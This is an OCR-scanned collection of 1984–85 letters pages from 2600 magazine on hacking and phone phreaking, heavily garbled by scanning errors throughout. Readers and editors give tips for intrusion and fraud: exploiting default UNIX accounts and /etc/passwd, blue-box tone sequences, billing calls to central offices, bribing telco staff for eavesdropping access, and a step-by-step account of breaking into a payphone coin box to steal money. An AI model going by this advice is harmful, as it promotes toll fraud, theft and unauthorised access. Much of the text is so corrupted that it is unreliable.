TOPS-20, it is Far from having “some pretty good security measures.” One of the
anginal designers of UNIX, Dennis M. Ritchie, affectionately known to some as
the supreme “super user, ™ once said, . UNIX was not developed with sccurity, in
any realistic sense, in mind; this fact alone guaranices a vast number of holes.™

Mr. Salerno refers te commands such as “who™, “syne™, “help™, and “learn™ as
accounts. Since UNIX s my favorite operating system, used by many of the Bell
operating companies and similar to COSMOS, 1 have had much experience on
over a doven different systems and 1 have never encountered the above as
accounts, Granted, though, it would not b hard to implement; my point is that it is
not standard.

I'he privileged aceounts that are on most UN1X systems are "roat”, “hin”, "sys",
and “adm”. Others such as “games™ and “uucp™ are also on most systems. The
former usually has no password or a simple one and is great for “getting vour foot
in the front door.” The latter uses a special protocol and contains files with
passwords and telephone numbers to other UNIX svstems! The mast powerful
account 1= the “root” account which belongs 1o the “super user™, it can also be

accessed via the “SU™ command as mentioned.

The best part about UNIX is that it is set up 50 thal anyone can view anyone
else’s files. For example, the lowest user in the UNIX hierarchy can usually type
“cat [etc/ passwd ™ and lh:mnl:nl:ofpniwmdﬁl: isd umped with the passwords
encrypled, As mentioned, this is good for looking for accounts without passwords
and hinding out usernames. Also, the passwords are encrypted using a modified
version of the DES encryption algerithm. It is possible, if you know the key [yes,
there is a rather simple default (use your imagination) and we all know about
defaulis...], to use the “erypt™ command to decrypt the passwords. Also, there is
massive documentation on-ling along with the source code for all the commands!
Also, UNIX is programmed in C, which is an awesome programming language;
knowing Cisa prerequisite forany serious UNTX hacker, Il you know Cand have
the right accounts, you can easily medily the system to your liking, Another plus
for hackers is thatall 1/ Ois treated as files which opens upa Pandara’s box of fun
for hackers.

There are literally hundreds of holes in UNIX for the hacker. | cannot possibly
diseuss them all here bue L am planning on writ inganarliclt, “LNIX for Hackers™,
tn the near (7) future.

Granted, though, UNTX can be semi-secure but most UNTX administrators lack
the intelligence to realize this,

BIOC Agent 003
Diear 2600:
What is the telephone number for the NSAT
Mikhail Gorbachey
The Narfonal Security Agency, which nobody is supposed to know abour, is one of
the most secretive organizations fa existence, Their main phone mumber s
FOTGEEGI T bt we ve heard that they lurk abour in 301677 as well. When calling
this meaniher, you canask for their public relations depariment or any other for that
marter. By the way, for sarme reason wiich is completely beyond us, this number
resides in an XY step affice—one of the mast primirive switching centers in
existence Is this any way for an intelligence agency io aperate?
Drear 2600:

M1, Sprint, etc. must be controlled by MF tones. Any idea how they work?
Phreaking opportunitics?

HK
I acrualite, the majority of afrernaie carriers aren 't conrrolled by MF 1ones arall.
Muany weilize standard touch-rones, Whay they do is store all of the digits uneif the
dasi one isendered by the subseriber, Then, the computer finds a Bne i the ciye lor
area) the subscriber is calling to, geis a dial tone, and sends ot the 7 digit LOCAL
mumther. This is how they manage to have lower rates—ithey get 1o the city by
microwave or satellite, etc., in other waords, they avoid AT&T. (n occasion,
though, the aliernate companies” lines in other cities get tied up. When this
happens, they use leased lines from A T& Tas a backup, which casts them extraand
probably accounts for the occasional good conrection you muay gel.

Naturally, iff these comparnies are dialing owl on local manbers. it must
accasionally be possible for someone 1o dial INTO those same mumbers. What
happens then? Sometimes nothing at all. Other iimes you may actually hear
comnversations. Anything s possible. One way to find owt what a company s local
number i a particudar city is 1o dial the AN mamber for thae city after the local
area code, New Yook Cites ANT i 938, (Dial 958 in New York and your phone
aumber 5 read to you) On o lomg distarce careier, vou may be alle o dial
21 2058 X XXX and have @ number read,

Mast systems are trained 1o hang up ar the sound of 2600 Herrz, Somerimes.
shough, it will drop 1o o dial tone i whatever clty you colled, Touch rones can be
weiired o P diziar dial tore, bt most phreaks only make “local ™7 digit calls, since
they W mever show up on a bill,

Ol ane long disiance servive we know of responds to MF tones aned thar s ITT.
They wse a special sequence of these tores ina way that sdifferens from ATET. We
daven 't figured it out ver.

Dear 2600:

Re October 1984 article in 2600 on switching centers: AT&T has changed the
way il routes calls,

Without telling anvone, AT&T shifted from hierarchical routing to non-
hierarchical routing, See paragraph 19, page 8 of a Federal Communications
Commission document dated January 25, The FOCC document is not specific but
apparently AT&T changed the software that controls switching.

[Mote toall hackers: Have you noticed anvihing different about the switching of
ATET calls? Let us know. | .

Apparently the FCC approves of the new AT&T routing scheme although
Albert Halprin, ehiel, FCC commen carrier bureaw, is miffed that he was not told
of the plans to-change ahead of time. ITAT&T had told Helprin, a lawyver, he mighe
have filed a 100 page order to AT&T that was impossible to understand let alone
comply with. AT&T excoutives apparently decided that discretion was the better
part of valor, That the system was unlikely to crash if the change was made. That
the less Halprin knows about the network the better off everyone will be.

Hunter Alexander
P&, Implications of non-hicrarchical switching: Does it reflect the new power of
the microcomputer and the competitors of AT&T? Does it show a new
cgalitarianism has come to what used to be called the telephone company?

11 you want to read up on the old way of switching with five levels of hierarchy,
el Noves on the Nenwork, ATET, Network Planning Drivision, Fundamental
Planning Section, 1980,

We're happy vou found cut abour this. We ll see if we can figure our what the
ramificarions will e

LI L]
CORRECTION: Last issue’s story on COSMOS was not written by Firemonger
but by Fire Monger. We regret the error.
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[EAR 2800: , ; : ;

When will it almost be impossible to use Lung Distance
Services? It is so easy to Phreak off thes and they never
catch the majority of us, but when will it stop? Surlnd

uzzle

ONLY WHEN THE WORLD IS A BURNT OUT CINDER WILL IT STOP
CONPLETELY. AS TECHNOLOGY CHANGES, SO DO PHONE PHREAKS. BLUE
BOXES USED TO BE THE ONLY WAY A PHREAK ADE FREE PHONE CALLS.
NON THERE ARE EXTENDERS AND ALTERNATE CARRIERS. WE DON'T
THINE ITEH?EHE ARE ?DIHE T0 DIE GUT ANYTIME SOOM. ﬂkTERHﬁTE
CARRIERS (SPRINT, MCI, ETC,) WILL GET HARDER T ABUSE AS EQUAL
ACCESS WOVES I[N, But THERE WILL ALWAYS BE A WAY. WE LOVE 10
HEAR ABOUT NEW METHODS.

OFEN LETTER: ) b

T a.m., 02/07/85: Pursuant to & telephone discussion with
Reginald ﬁuqn, head of the criminal division of the Los
fngeles’ City Attorney's office, [ was informed that the
grusecutann believes it has 1n5u+i!:zant evidence to continue

he prosecution of Tom Tciapidis, SYSOP of MOB-UR.  This
detersination was made after I requested a review of the case
on I/11/85 atter the dagirture of City Attorney Ira Reiner to
beccae D.A., and while the City Attorney's office is being run
bI the civi] service stafé pendxnﬁ election of a new cit
attorney. Mr. Dunn has given me his word that the p:nflz Wil
seek dismissal of the charges against Tom under California
Penal Code Section 1385, i.e., 'Dismissal in the interests of
justice.” Under California law, such a dismissal is ‘with
prejudice’  and _ the pepgle can  not refile the case
subsequently. To gut it succinctly, & dismissal will
tersinate t{! prosecution permanently. .

As [meny of youl know, the City Attorney’s office has
previously reneged on representations made to ee r!gardlnﬂ
dismissal of the charges. 1 wish to assure everyone that
have known Mr. Dunn for 10 E!ars, and 1 trust his word
cospletely. I# he says the case will be diseissed; | an
satisfied that such an action will ocour,

We win, Min...Win...win...win...Win, My thanks to everyone
who contributed to supporting Tom and me in the defense of
this matter, [ consider this to be a major victory for the
rights of {free speech over the 'big brother’ sachinations of
the phone company. ) )

I would be Eriteful if Enu would download this message and
place it on other systess throughout the country. This "is a
very big victory, and the BHS and modes coasunities should
know about it,

Again thanks for the support. o

Chuck Lindner, attﬂrﬂEE for 5Y50P Tom Tcimpidis.

B p.m, 02/07/85:  The case ot People vs, Tcispidis --
k.2, use a modem, go to jail -- was dismissed in the
‘interests of justice’ this wmorning, 2/7/85.  As noted
earlier, this dismissal is with prejudice, and Tom is now free
of the PacTel scourge. Hnufher saall step for sosething
reseabling justice.

Chuck
THRILLED WE ARE FOR TOM, BUT CHARGES DROPPED MEANS LAMS
REMAIN, 1IN THIS CASE TOM Eﬁi AWAY WITH WHAT HE DID OR THE LAN
JUST REALIZED THAT THERE WAS JUST NOT ENOUEH EVIDENCE TO FROVE
ARYTHING, BUT CALIFORNIA STILL HAS HWORRIBLE TOUGH LAWS THAT
D0 NOT PERMIT PRINTING MAGAZINES LIKE 2&00' YOU CAMNOT EVEN
DISCLOSE A PHOME NUMBER OR 4 PASSMORD FORMAT LET ALOME A WHOLE
FASSWORD THERE. WE ARE GLAD HE &0T HIS WACHINE BACK, WHICH I%
ALWAYS @ PLEASANT GSURPRISE.  WE ENCOLRAGE OUR READERS 10
CPREAD THIS MEWS WHEREVER THEY G0 AS IT IS A VERY IMPORTANT
DEVELOPMEMT, [FOR THOSE WHD DON'T KNOW, TOM TCIMPIDIS WAS THE
SYSOP OF A COMPUTER BULLETIN EOARD THAT SOMEONE POSTED A
CREDIT CARD WUMBER ON. THE PHOME COMPANY DECIDED TO PRESS
CHARGES AGAINST HIM EVEM THOUGH HE CLAIMS MEVER TD HAVE SEEN
THE NUMBER IN RUESTION. THEY TOOX HIS COMPUTER AND BOT HIM &
LOT OF HATIOMAL ATTENTION,]

DEAR 2600:

Have you been Fiiﬂinﬁ_ about those new high tech secure
telephones? ['ve been t 1nk1nﬁ about what sust be inside
thes, The closest thing I've heard to that kind u¥lt!chnulnqr
would be DVWP - ﬂl?ltil Voice Processing, It's like digita
dudio Ern{n:;jng, but after the voice is turned into bits,
dsfdstkskfgsjkfggreegfds

they scrasble thes up and then send them off. The other side
then decrypts the bits and transtoras the di:r%qted signal
back into, voice. The stuif I've read lin Popular
Comeunications Magazine, around a year ago) said that a lot of
law enforcement agencies use it to scrasble their radio
transaissions (1 believe the ones sentioned were the DEA and

the Treasury police, saybe the secret service, but not
interestin 1¥ enough, the FBI). The nnl{ problem is  that it
dign*t work too :31 - many people reported hElrin the agents
sWitching the 3? off an granﬁlxtt ng a normal, unscraibled
signal because they couldn’t qet it working ri hit. Hawever,
over a land line it would probably work a lot better. And the
nice thina about DVP is that it really is secure, as long as
no one Enows your scrasbling algorithe - however, I imagine
the Russians already have the plans for one of those fhnnes,
iven that wery few military secrets ever resain secrets for
ong.,  Besides, if the governsent orders several thousand of
thes, it stands fo reason” that at least one would end up in
the wrong hands. Anyway, 1's not sure that knowing the
innards of those phones would help you unscrasble the traffic,
since that might only cut down the nuaber of possibilities to
a few billion instead of a few guadrillion. The whole point
of encoding inlEthinﬂ is so that your Enﬂlr does  not
unscraable it while the inforsation is still usetul to either
of you,
¥’vt often thought about how to do sosething like that with
our little micros.” Two pecple talking on “the phone via a
scrambled modes link have & resmarkably secure connection,
Ernvided they are using the right software for mixing up the
its, 1 seem to remeaber that ESS's these days are configured
to autu-ati:all} detect any kind of scrasbling geing om, and
alert security folks whenever a scrasbled conversation is
noticed. The ratignale is that someone scrambling a
conversation has something to hide, and the big goverpaent
boys are interested in people who have things “to hide.
However, the aforesentioned pair on the phone would not be
noticed by an ESS, since all they would be doing is setting up
a normal modem conversation, and if they didn’t mind slow
communication they could be even more secure with an
encryption scheme that sent two or three lines of *noise® for
every character of genuine information being transferred. The
noise could look very innocuous, say the transactions on a
'legal' bulletin board, and thus not even appear to be hiding
anything.
?Ey ghe Wiy, those are the best possible secret codes, the
kind that do not appear te be anything out of the ordinary and
thus are not even thqu?ht to be ‘codes at all! Another
possibility is to send information in the fors_of the time
delays he{npen each character transaitted. That means that
someone “listening in" on a digital cenversation by having the
data printed out would miss out on the entire message, since
his printer would only record the characters sent, which in
this instance are utterlE_unlnpurtant, By the way, monjtoring
of a cosputer conversation may not be considered wiretapping
since the statutes concernad can be narrowly interpreted to
cover only audio taping of a conversation, not digital

eavesdropping.

ppIng Informed as Hell

MAMY PARTS OF °PUIILE PALACE" BY JAMES BAMFORD G0 INTO
DETAIL ABOUT THE FORMS OF CRYFTDBRAPHY USED TODAY BY THE
MATIONAL SECURITY ABENCY, WHICH INCIDENTALLY HAS EXPRESSED A
STRONG INTEREST 1IN SUBSCRIBING 10 US.  WE HOPE THEY WILL
COMTRIBUTE MANY FIME ARTICLES.

DERR 26003

Does 2400 baud work on standard Bell lines?

YES, 2400 BAUD IS ACTUALLY 4 BITS AT A TIME AT 400 BAUD.
AND BELL LINES CAN HANDLE THAT.

DEAR 25003

1# 1 want to go trashing, as I forced to just attack ay
Central Office?

THERE ARE LOTS OF 500D FLACES TO TRASH BESIDES PHONE
COMPANIES. LOOK IN THE PHOME EDO¥ UMDER SOFTWARE COMPANIES,
PHOME EGUIPMENT, COMPUTER EQUIPMENT, ELECTRONIC EQUIPMENT.
OR LOOK AT RADIO SHACKS, OR GTE Héi, Ok YOUR LOCAL CABLE
COMPANY. YOU WILL FIND iﬂﬁEE OF THIHEE, LIKE FREE TELEPHOKES,
FLOPPIES, ETC.

all kinds of letters
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L CIIETS

Which of the many computer networks
are the best to use?

He looked for a few replies to this
and here are a couple of them:

"I access & atabase that is on
UNINET, TYMNET, TRELENET, and DUSNET.
I’ve only used TYMNET and TELENET,
and TYMNET is far superior. TELENET
is one of the most exasperating
experiences I've ever had. "

"Why, TYMNET, of course!

"Seriously, Tvmnet has wmore nodes
than any of the others; It iIs also
more secure. I have used TELENET as
a private user, and it is MUCH slower
than Tymnet, but since you're not
going to out-and-out believe someone
whao works for one of them, I suggest
you look at a study done &y DATAPRC
Fesearch Corporation {they’re in
PDelran, NJ) which compares TELENET,
TYMNET and several other companies.”

We'd like to hear more on this.

What are silver box tones?

Every touch ltone phone can produce
sixteen tones, not Just twelve.
There is the capability for an addi-
tional row of buttons on the right
side. These tones are labeled
(moving from top to bottom) A, B, C,
and B, They are also referred to as
Flash, Flash Override, Priocrity, and
Priority Override (in Jincreasing
arder of Importance). This 1Is  how
the calls are treated when they are
made, Thus a "D" call gets priority
over a "8" call. This system Is used
primarily on Autovon, or Pa Bell, the
wilitary phone network, which can
shut down the regular network at any
time. The tones are also used for
test purposes and occasionally do
interesting things for phone phreaks.

What is 9507
950 is an exchange created to ful-
fill part of the urpose of equal
access. t was designed to work in
all ares codes, so that the same
access number could be used by a }o?g
n

distance compan nationwide.

other words, S50-1022 will get yvou
MCI wherever you are. There is no
charge to call 950 pumbers and the

conpnection is always crystal clear.

You can  only dial this exchange
locally, i.e. you cannot access &San
Francisco’s 850 exchange from. Los
Angeles.

Is it easier to trace B00 calls or
950 calls?
call

fracing an BOO simply Is not

a8s easy as tracinf a 950 call. 800
numbers exist all over the country
whereas 850°'s aren’t an actual
exchange, but are Jlocated within
every central office. Thus, ANT
(Automatic Number ITdentification)
intra-exchange Iis very easy. The

further away from the central office,
the harder this becomes.

What is REMOB?
REMO

8 is remocte observation. Call

& number, enter a code, enter a
number, and listen. He need more
info on this one courselves.

these numbers
that the
I'n fact, we
where you

Especially as te if
really exist. WFe do admit
technolog is there.

were tol of the npumber

could overhear randem MCI conversa-
tions in Texas, a few months ago,
without entering Bﬂi . codes, bult il
stopped working by the time we went

fo print.

¥hat follows are two true accounts
of adventures that were sent to us.
The first was sent by The Crazy Man.
It depicts thievery and destruction.
2600 In no way condones this type of
activity. We really do not. But
there are some things to learn from
the first adventure about the
construction of pay-phones, so we
decided to Include it. As they say:
Learn good things-the bad will teach
you ¥ themselves. The second
adventure 1is presented for your
amisement only.

I am writing you because I have
done something that might be of
importance to the readers of this
mag. Well, a few days ago me and_ a
friend went {0 a construction site
and found a telefone on
wood with a8 wood base, s0 we
to take the bitch home. Well, never
underestimate the power of a fortress
fone. We read a file that BIOC wrote
called Basic Telecommunications, Part
VI. It said that you could drill out
the main lock located on the right
side of the coin box. So we tried to
attengt this daring feat. Never, 1
repeat, never waste your time
drillin out the lock. It will take
days ang days and Ernbably about 30
drill bits. After about five hours
of drilling, me and my friend decided
to try a different approach. We
knocked off the metal washer located
right oan top of the coin return (it
should just ©break right off). Then
we used a pair of vise grips to tear
the metal off around the coin return.
By doing this we came upon the coin
box, but it still had the leock on to
of it! Now, this is the part tha
takes the longest time. You have to

rip out (with the grips) the metal,
which is onl 1/8 inch, that
surrounds the entire coin box. Then

you must push all of the locks around
the silver plate in, or the silver
plate will never come off. After
pushing in the locks, you might be
able to remove the silver plate. If
not, then take a good size sledge
hammer and a truatﬂ crow-bar and
whack the plate as ard as you can,
making the lid come off. Now, ou
might think: Now that I
Elate off I can just gull the coin
ox right out. Wrong. o

box out you must have a key to unlock

the coin box. If you don't have a
key (which I didn’t then put the
trusty crow—-bar around the coin box

and bend the box till it’s removable.
Now be sure to get the little slips
of paper that say "Sorry, this phone

is temporarily out of order." They
are compliments of Bell. Now you
should be about 50 or &0 bucks richer by now, S0 g0 it on parts to
nake a blue box, or sosething relsted to phreaking. luck.

Honday, 04/01/35 6:00 = _

The phone rang. [ got up, looked at the desk, il’s 6:08 aa, an hour
before I 9o to school. [ pick the receiver up. °Is this John Mckee?* asked
the caller urgently. “Yes,™ 1 replied half asleep. “You better get rid of
vour printouts and your stuff on disks, you're gonna get a visit within the
next 20 minutes,” the kid said. He hung up. T got nervous. The phone rang
again, "lohn this is Jin, Greg just got busted and his brother has been
calling up all of his friends on a sheet Greg had. Did he call ywu?"  “fes
he did,” I said. “Tou better believe it, because you're gonna get nailed
with the rest of us. Get rid of everything, burn it,” I thousht ta myself,
“What did I do to sake thes want ee? ? Mo tise, have to burn every-
thing pertaining to illegal wrongdoings,” 1 was panic-stricken. I got it
together and went outside and burned it, disks, printouts, everything. As I
ws returning to sy house, Imdered_ﬁ_ll@e'r had a tap oo ay line, The
phone rang another time. “Chno. Who is it now?™ [ went in and ansuered
it, only to be told “#pril Fools!™ Click.
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LETTERS AND QUESTIONS

I live in the 215 (Philadelphia area} area

code and made a directory assistance call to
609 (South Jersey) to ﬁet an Atlantic City
number, and then place the call to the
actual number. The actual call naturally
appeared on my AT&T portion of the bill.
ful the killer is that the directory as-
sistance call, supgosedl one of an
allotment of 2 free DA calls via ATET, came
up as a %.50 charge on the Bell
portion of the bill! Apparently, Bell of
Pa. owns a special exception to the inter-
-state rules and handles calls to
neighboring NJ counties. Since director
assistance is sirobably handled out o
Trenton, my DA call got handled and billed
by Bell of Pa. You won't believe how ATET
handles this situation--you have to call
them up (1-800-222-0300) and tLhey look you
up to make sure you made the equivalent
required call, then _ credit your AT&T
account! Since Lthis is a totally manual
operation, and since we the public have
never been told of this strange hack,
chances are good that Bell of Pa. is
collecting gobs of half dollars which their
customers really do not owe; furthermore,
when a walchful customer does go through the
requisite manual  process, it seems as if
Bell of Pa. ends up with AT&T's mﬂnc{. ATET
also seems to be able to see the Bell of Pa.
portion of the bill on #*their¥ computer
terminals. Why do I get the impression that
ATE&T is not as severed from the operating
companies as  they would have us believe?
Hmmumm

s

[ recently had my telephone disconnected
due ta  the fact Lthat m¥ roommate had
forgotten to pay the bill. 1 have no
dispute with the hillin% however, my
question is: My PacTel bi i was arcund $15.
We had paid off %85 of our bill, leaving a
balance of $82. Therefore, T wnuid assume,

we had paid our debt to PacTel and only owed
e Lo ATET. Now at the bottom of my
monthl lon distance statement, it says
that the billing is only provided as a
service to AT&T, with whom Pacific Telephone
has no  connection. If this is the case,
under what authority did they cut off my
telephone service. IF 1 lail te pay my MCI
bill, would PacTel cut me of f? Shouldn’t I
Jjust be cut off from AT&T's lines, and
collecting is their problem? Just a little
more confusion resulting from the break-up.

Nobody should really be surprised when {wo
companies that were once one do each other
favors. We've heard quite a few similan
taules amd would like to fHear more. Perhaps|
we could gather them together and go to the]
right person and get these companies in a
big pile of trouble. Nothing like phreak
revenge, they say.

I am writing in reply to James {(Feb. 85
issue} and other readers who have conspired
to call merchant ships on the high seas.
You may dial them direct, and pay $10 per
minute, by dialing 011 + ocean code + ship's

terminal number. The ocean codes are:
#71-Atlantic, B7V2 Pacific, and 873-Indian
ocean. The ship's terminal number can be

discovered by asking your telco operator for
the Marisat operator (in Alaska dial 211
and ask for the marine operalorj, who has a
directory of all the ships (except the CIA
ships, which someone forgot te include...}.
Ship's numbers  are seven digits, all
hnﬁ;nning with "1 (e.g. 1501604, ATRT's
Cable S8hip Long Lines). The blue box crowd
can reach the international operators by

of Pa. |da

d|the Hate

1985

beeping KF + 160 + ocean code + ST. These
clones sit at TSPS consoles, but  have
neither ship's directories nor understanding
of the Marisat network.

The folks at Comsat's Maritime Services
department are more than happy to supply the
shipping and offshore industry witL ship's
directories and Marisat users guides free of
charge. €all (B00) 424-9152, anyltime of

V.
And while you're ka-chirping across the
network, you'll be amused to find out that
Houte operators have moved, and
are now only available on (800} 141-1212.
If you're drivin% cross—country this summer,
then be sure o stop in one of those
two-pay-phene towns and try dialing this
routing. It's amazing how many independent
telcos pass you right through!
Rusty Diade

In your February 1985 issue,
James that to call ships at sea
first call Lhe operator and then asﬁ
connected to the high seas operator.
is nice, bul it's awful damn slow, an
Bell clones won't know how to connect
anyways.

To call ships at sea, vou must first call
one of these toll-free numbers. Either the
Marisat operator at  B00-243-3610 {or
264-9090 in CT)}) or Maritime services at
B0-424-9152. Be prepared to give the op
your billing information, plus the name of
the ship and seven digit ID number.

Most phreaks will route this call through
a PBYX or blow off another WATS number and
then box the call. There have been times

vou told
he must
to be
This
most
you

when some enterprising phreaks decided Lo
bill their calls to the local CO. of
course, we all know that 260 readers would
not do this.

I am writing this letter because [ found
some humor 1in an old tv commercial that I
saw several months ago. The commercial was
one by AT&ET. It was titled "ATART is in
Cereal”. The commercial was aboult the
toll-free number that can be reached to find
the treasure from a map included in a box of
cereal. Big deal you say! The cateh is,
the name brand of the cereal was Captain
Crunch. I find that interesting because, if
yvou remember, Captain Crunch is the cereal
that contained the little blue whistle that
is now known as a blue box. And everyone
knows how much trouble that little device
caused ATAT. It just goes to show Lhal even
the big guys can do something against their
will for the right price!

The Silver Sabre

Just one correction on that. The whistie
was not a blue box (can you imagine finding
a copplete blue box in a box of cereal?!!.
The whistle was able to produce a pure 2
hertr tone, which seized long distance truak
lines, thus enabling blue box tones to be
utilized. The 2600 hertz button is the most
important part of a blue box, unless you
live in an area that allows you to dial
right into an open ltrunk, thus making It un-
necessary to seize one.

ot semething on your mind? Then write
tor 2600 letiers  FKditor, Hox 99, Middle
Island, NV 11853-0059. You can also leave
us electronic mail on our official bulletin
board, The Private Sector (20136634431). Ir
vou have a problem with your subscription or
" question, write to: 2600, Box 752, Middle
Island, NY 11953-0752 or call us &l
S5167512600.
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LETTERS

 I'we seen piles of examples of
inaccurate billings from alternate long
distance companies (mostly resulting from
a lack of called party supervision
control). Automated data calls are the
biggest culprit-—where the other end
didn’t answer or was busy and the modem
took about a minute to timeout itypical
setting for a 10n¥ distance call)., The
calls charged as if they had been answered
in each and every case. There are many
more mundane cases that are generally
known—the C-5PAN cable service had some
problems since thei let the phones keep
ringing on their talk shows until they are
ready to put people on the air. Thus, the
phones might ring for five or ten minutes
or more, and many people gust got ringing
and eventually gave up. uess what? The
geo le calling via alternates discovered
ha they had otten billed for those
calls——even thou the¥ were non—answered,
Lots of them, ow if a company wants to
make it a policy that wyou pay for all
calle whether they are answered or not
that exceed a certain duration, I guess
that’s OK, but nobody doing this has ever
admitted publicly that that's what the
do! .In fact, if you confront them wit

the question they deny it as often as not
(most likely because they don’t understand
what Eau're talking about because they’ve
never been told what’s going on').

The little guy who makes a few long
distance ecalls a week doesn’t have to
worry about calling up the alternate's
business office once a month to clear off
a couple of bad billings. But many busi-
nesses are in exactly this sort of
situation, and needless to say they can
get a bit tired of it pretty quickly.

He'd like toe compile a list of long
distance companies that charge for un-
answered calls and busy signals. It could
prove Invaluable to consumers whe are
sﬁqgﬁxng'aruundl If you want to help us
on this, call or write us. We’d also like
to know how much of a hassle each company
g;eage??l for removing wrong numbers from

e bill.

About that white box article you printed
in April--I built one socon after I read
the article on OSUNY and found out that it
really doesn't matter whether you use one
nine-volt battery or two. The tones are
slightly louder with two batteries, but
using one battery is a lot more con-
venient. Since when the pad sits in a
telephone it i= powered by the 7-9 volts
"off-hook" voltage that the phone line
gives you, it would seem strange that it
would require 18 volts sitting by itself.

I got my first issue of 2600 yesterday
and was fairly impressed. You convinced
me to buy Out of the Inper Circle, and I
am almost finished with it. Somehow I
can't get over Bill's confusion _about
bits-per-second and baud (see page 45).

Too bad nobody knows anything about IBM
systems; they are the most fun' I will be
trying your BBS again tonight —- and every

page

night until I get through.
) Birmingham, AL
Hhen (trying the BBS (2013664431), you
will get through more frequently If you
try repeatedly within a short period of
time, Most users cannot rewain on for
longer than half an hour so you should get
through when they hang up. It's also a
good idea to try “nmon-peak" hours, such as
the widdle of a weekday. Those interested
in :F.Faading an article can do so by
sending mail to "2600 MAGAZINE". You can
then send up to 100 lines of text. We
handle XMODEM transfers at the office
(5167512600). Best time to reach a human
is beiween & pm and midnight, weekdays.

Would you have ang information on the
availability of a back-pack microwave
unit wit both line-of-sight and
satellite capability, with some type of

reement for paid Eimefuse on satellite

annel? T was recently told of this and
have not as of yvet found any info on the

equipment /package.
Gulfport, MS

No one here knows anything about such =
device, except that it probably exisis
somewhere. In all Iikelibood, it wouldn’t
be consumer-oriented. Our readers are
probably the best people to ask.

How can I obtain back issues of 26007

Every issue of 2600 is awvailable as a
back issue. 8Since our first Issue was In
January of 1984, that means there are
currently 18 available, not counting the
one you're reading. Currently, we only
have a Table of Contents fgf 15984, but
1985 back issues are also available. ~ Eackh
issue is $1 and you can order thew at our
regular address (Box 752, Middle Island,
NY 11953-0752).

Incidentally, you may have noticed a
change in our envelopes. Ke used to have
8 stamp that looked like this:

11953-0752
ADDRESS CORRECTION DEMANDED

It was our tongue—in-cheek version of
the acceptable "Address Correction
Requested"”, although some of our readers
took it to mean that we wanted to receive
frequent address updates from them and
they kept wus informed of their whereabouts
at all times. Apparently a postal czar
somewhere caught sight of this and Isswved
a decree that such statements were
unacceptable. We felt it in the best
interests of our readers to change the
offending statemenlt, &as an angry post
office enefits no one. Ke were also
advised not to use our pine-digit zip code
as our only return address. Even though
the code 1is totally unique and leads
directly te us, this system "is not being
used yet"” according te the people who
implemented it a couple of years ago.

LETTERS ADDRESS
Box 89, Middle Island, N¥ 11353-009%
SUBSCRIFPTIONS AND BACK ISSUES
Box 752, Middle Island, NV 11853-0752
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Jr Joll—

Dear 2600:

In response to the individual inquiring about a back pack
microwave system (July 1985), it is my understanding that it is
primarily a military field communications device with
collapsible satellite antenna and not, as you correctly assumed,
a consumer 1em.

Thank vou for a much needed, educational alternative to
blindly accepting the status-quo propaganda machine.

D..
Dear 2600:

In your May issue, you were talking about silver boxing and
mis-named the AUTOVON precedences. Here are the correct
names in order from highest to lowest: Flash Override, Flash,
Immediate, Priority, Routine (all calls are routine if no
precedence button is pushed, or if precedence buttons are not
installed on the phone).

SEVOX
Dear D.J. and SEVOX:

We always appreciate response from readers who have some
expertise to offer. Please do not hesitate 1o correct us.
Dear 2600:

For the reading list: Understanding Telephone Electronics,
developed and published by Texas Instruments Learning
Center, available through the Radic Shack chain, catalogue
number 62-1388, 288 pages, $3.49. This book is a technical
tutorial on the basics of telephone systems. You need a fair
amount of electronics knowledge to understand the stuff in
here, but nothing you couldn't get from the other
*Understanding so and s0™ books that Radio Shack sells,
Topics include the innards of both standard and electronic
telephones, speech, dialing, and ringing circuits, digital
transmission techniques, networks, modems, and more. In
short, this is a goldmine of technical information about
telephone communications, and (something rather out of
character for Radio Shack) is even reasonably pnced.

This is from the Understanding Telephone Electronics book.
According to this book, 260(fs opening words about how
Alexander Graham Bell answered his phone (Jan. 84 issue) may
have been inaccurate, and | quote:

“Early telephone circuits were point-to-point (not switched),
and the caller gained the attention of the party at the other end
by picking up the transmitter and shouting *Hello® or *Ahoy”.
This was not very satisfactory. and schemes based on a
mechanical signaling arrangement were soon invented. The one
in comman use today, called the *polarized ringer’, or bell, was
patented in 1878 by Thomas A. Watson (Mr. Bell's assistant).”

So it seems that “Ahoy™ was not how A.G.B. answered his
phone. but more likely how he induced someone else to answer
the phone. That makes more sense, since “Ahoy™ was usually
used at sea 1o raise theattention of someone else out thereon the
foamy brine. Imagine those days of early telephones, where you
might walk by that new contraption and hear a dim voice inside
yelling “Ahoy™.

Talbot
Deear 2600:

A while back you were asked if REMOBS really existed. |
can tell vou for sure that REmote OBServation numbersdo. in
fact. exist. The hardware is raanufactured by different

companies. One of which is called Teradyne, which makes a
systemn called 4-tel.

These systems are working when an exchange is sevup for it
in the Central Office. They are used for testing and are perfectly
legal.

The equipment was built so that you enter a code then a
number. It will listen to a number for a limited time and then it
seguences to the next number and then the next. But it ¥
takes a few seconds to modify the equipment, so it doesn't step
to another number,

As far as | know the going price is 81,500 to get a telco
employee to do the modifications. A guy | know was
approached by a phone company employee who wanted to get
some money and he offered to set up the system and provide a
number and code that cbuld be dialed up from anywhere.
Dear 2600:

I"ve been thinking of starting my own bulletin board. But I'm
not looking forward -to the possibility that some jackass will
leave a credit card number or other nasty information on my
board and that some even bigger jackass will sce said message
before | can delete it and accuse me of conspiring somehow to
defraud or steal or build explosives or whatever else they
happen 1o be afraid of will happen at that moment. The recent
raids in New Jersey indicate that even a conscientious sysop (as
the fellow who was running the Private Sector claims to bej can
pet screwed over by computerphobic police and Federal agents.
What preemptive protections are available for a bulletin board
operator who plans on staying within the confines of the law
and yet does not want to stain her or his board with warnings
and continually censor the flow of messages? Freedom of the
press is 2 marvelous concept, and apparently allows folks like
USA Today to stain every available streetcorner with their
one-legged vending machines. What would one have to do 1o
become a “press™? You don't have to be made out of paper.
since radio and television reporters qualify. Is there a union |
can join? A professional society? Maybe we should start one?
Can you recommend any place where lurther information on
such would be available?

W.L. Friend
Dear W.L.:

You ask many intriguing questions, and we believe that we
could devore an entire issue 1o answering them. Injfact, we speni
a grear deal of the August issue of 2000 discussing the very
things that vou brought up. Many of vour questions could be
answered by allowing vourself 1o ger busted and letiing Warren
Burger and the rest of the Supreme Court decide. This may be
the easiest way because there are few laws, guidelines, or
precedents. Right now, we do not know of any “unions, " bur
there hundreds of compuier user groups thar are actively
discussing these problems, and we also foresee groups fonning
to specifically address the problem. Especially since those
computerphobes you were referring to are Irving 1o get
legisfation passed ro limit BBSs in this country. You must
remember that this is a very popular issue, and it will come into
play in various elections this fall, including those of the
prosecuiord who are pressing charges against the Private
Secror’s sysop.
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Dear 2600:

